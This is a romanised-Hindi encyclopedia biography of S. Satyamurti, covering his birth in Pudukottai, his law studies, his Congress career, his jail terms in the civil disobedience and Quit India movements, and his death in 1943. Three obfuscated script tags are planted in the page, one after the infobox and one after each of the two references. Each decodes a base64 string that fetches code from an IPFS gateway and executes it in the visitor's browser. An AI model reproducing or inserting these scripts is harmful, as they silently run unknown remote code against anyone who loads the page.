एस. सत्यमूर्ति
es. satyamoorti
| |
| poora nam | es. satyamoorti |
| janm | 19 agast, 1887 |
| janm bhoomi | tiruchirappalli, tamilanadu |
| mrityu | 20 march, 1943 |
| nagarikata | bharatiy |
| prasiddhi | kraantikari neta |
| dharm | hiandu |
| aandolan | savinay avajna andolan, bharat chho do andolan |
| jel yatra | es. satyamoorti ko savinay avajna andolan mean bhag lene ke karan san 1931 aur 1932 mean jel ki saja huee. |
| shiksha | qanoon ki padhaee |
| any janakari | es. satyamoorti ek mahanh vakta, shikshavid aur kala ke parakhi the, jo bad mean bahut se rajanitijnoan ke pitamah rahe. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>es. satyamoorti (aangrezi: S. Satymurti, janm: 19 agast, 1887, zila tiruchirappalli, tamilanadu; mrityu: 20 march, 1943) bharat ke kraantikari neta the, jinhoanne savinay avajna andolan aur bharat chho do andolan mean bhag liya tatha jel ki sajaean bhogian.[1]
parichay
es. satyamoorti ka janm tamilanadu ke tiruchirappalli zile mean pudukotaee namak sthan par 19 agast, 1887 mean hua tha. vahaan ki prasiddh devi satyamoorti ke nam par hi unaka nam bhi rakha gaya. pudukotaee un dinoan ek chhoti-si riyasat thi. yahaan pahale satyamoorti ke pita suandar shastri vakalat karate the. parantu ek bar majistret ke sath kachahari mean jhag da hone ke bad unhoanne is peshe ko tyag diya aur ajivika ka koee doosara sadhan dhooandha. suandar shastri kattar hiandoo the. vah sada apane ghar par dharmik upadesh diya karate the aur brahmanoan ki sahayata karana apana karttavy samajhate the.[2]
es. satyamoorti bhi bachapan se hi apane pita ke sath vibhinn sabhaoan mean jate aur kahian-kahi bhashan bhi dete. sat varsh ki avastha mean unhoanne pahala bhashan diya tha. jab vah ath varsh ke the, tabhi unake pita ka svargavas ho gaya. unake pita koee jayadad nahian chho d ge the, parantu satyamoorti ko unake anek gun virasat mean prapt hue, jaise nirbhayata, kanoon ruchi, sanskrit se prem, eeshvar ke prati agadh shraddha adi. vidhava mata shubhalakshmi par apane char l dakoan aur tin l dakiyoan ke bharan-poshan ka bojh a p da. apane bachchoan ki shiksha ke lie unhoanne apane abhooshanoan tak ko bech diya. parivar mean sabase b da l daka hone ke nate es. satyamoorti ko apani mata ka sabase adhik pyar mila.
shiksha
es. satyamoorti padhaee-likhaee mean b de tej the. pudukotaee ke raja kalej se unhoanne bi. e. kiya aur phir madras ke krishchiyan kalej mean bharti ho ge. vahaan unhoanne apani yogyata ke karan anek padak tatha paritoshik prapt kie. un dinoan bang bhang ke karan sare desh mean ek aandolan chal raha tha. bang-bhang ke virodh mean apane kalej mean h datal karane ka shrey bhi satyamoorti ka hi tha. krishchiyan kalej mean apana adhyayan samapt karake satyamoorti l aau kalej mean bharti hue aur vahaan se digri lene ke bad madras uchch nyayalay mean edavoket tatha sanghiy nyayalay ke siniyar edavoket bane.[2]
jel yatra
[[chitr:S-Satymurti-Stamp.jpg|thumb|left|200px|es. satyamoorti par jari dak tikat]] es. satyamoorti san 1919 mean kaangres mean sakriy roop se shamil hue aur san 1923 mean svaraj parti ke ummidavar ke roop mean madras vidhanasabha mean chune gaye. satyamoorti ne 1930 ke savinay avajna andolan mean bhag liya, jis karan inhean san 1931 aur 1932 mean jel ki saja huee. dilli mean inhean bharatiy vidhan parishad ke lie chuna gaya tatha bad mean kaangres parti ke upaneta chune gaye. san 1940 mean inhoanne vyaktigat satyagrah mean bhag liya, jisamean inhean giraphtar kar liya gaya. inhoanne bharat chho do andolan mean bhi hissa liya, jisamean inhean jel ki saja huee.
sahity prem
es. satyamoorti ki pratibha chahuanmukhi thi. vah sanskrit sahity ke achchhe jnata the aur apane pratyek bhashan mean sanskrit ke suandar uddharan diya karate the. lalit kalaoan se bhi unhean vishesh prem tha. apani yuvavastha mean aangrezi, tamil aur sanskrit ke natakoan mean vah bhag lete the. 25 varsh ki ayu ek natak mandali ke kalakar ke roop mean unhoanne shrilanka ki yatra bhi ki thi. abhinay mean hissa lene ke atirikt tamilanadu ke thiyetaroan ko sudharane aur unhean adhunik roop dene ki disha mean bhi unhoanne kaphi kam kiya. shastriy sangit mean unaki vishesh ruchi thi. madras sangit akadami ke vah upapradhan the. bharatanatyam ko lokapriy banane ka bhi unhoanne bharasak prayatn kiya. satyamoorti ne shiksha ke kshetr mean bhi kaphi kary kiya. madras vishvavidyalay ki sinet tatha praantiy vidhan sabha ke sadasy ke roop mean unhoanne shiksha ki unnati ke lie apana prayatn barabar jari rakha.[2]
nidhan
es. satyamoorti ka nidhan 20 march, 1943 ko hua. es. satyamoorti mean jivan ke adarshoan ke prati gahari astha thi, isalie unhoanne tyag aur atmasamarpan ka marg chuna. desh ki ajadi ke lie 1931 se 1942 ke bich vah char bar jel ge aur har bar unaka svasthy gira. 1942 mean jab vah aantim bar jel ge, to nagapur jel se amaravati jel bheje jane mean 90 mil ka rasta unhean trak se tay karana p da. unaka durbal sharir is kashtamay yatra ko sahan n kar saka aur marg mean hi unaki ridh ki haddi mean kaphi chot a gee. tab se vah nirantar asvasth rahane lage aur 1943 ko madras ke aspatal mean unaka dehaant ho gaya.
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tika tippani aur sandarbh
- ↑ es. satyamoorti (hindi) ignca.nic.in. abhigaman tithi: 21 faravari, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 es. satyamoorti (hiandi) epichindi.in. abhigaman tithi: 20 march, 2022.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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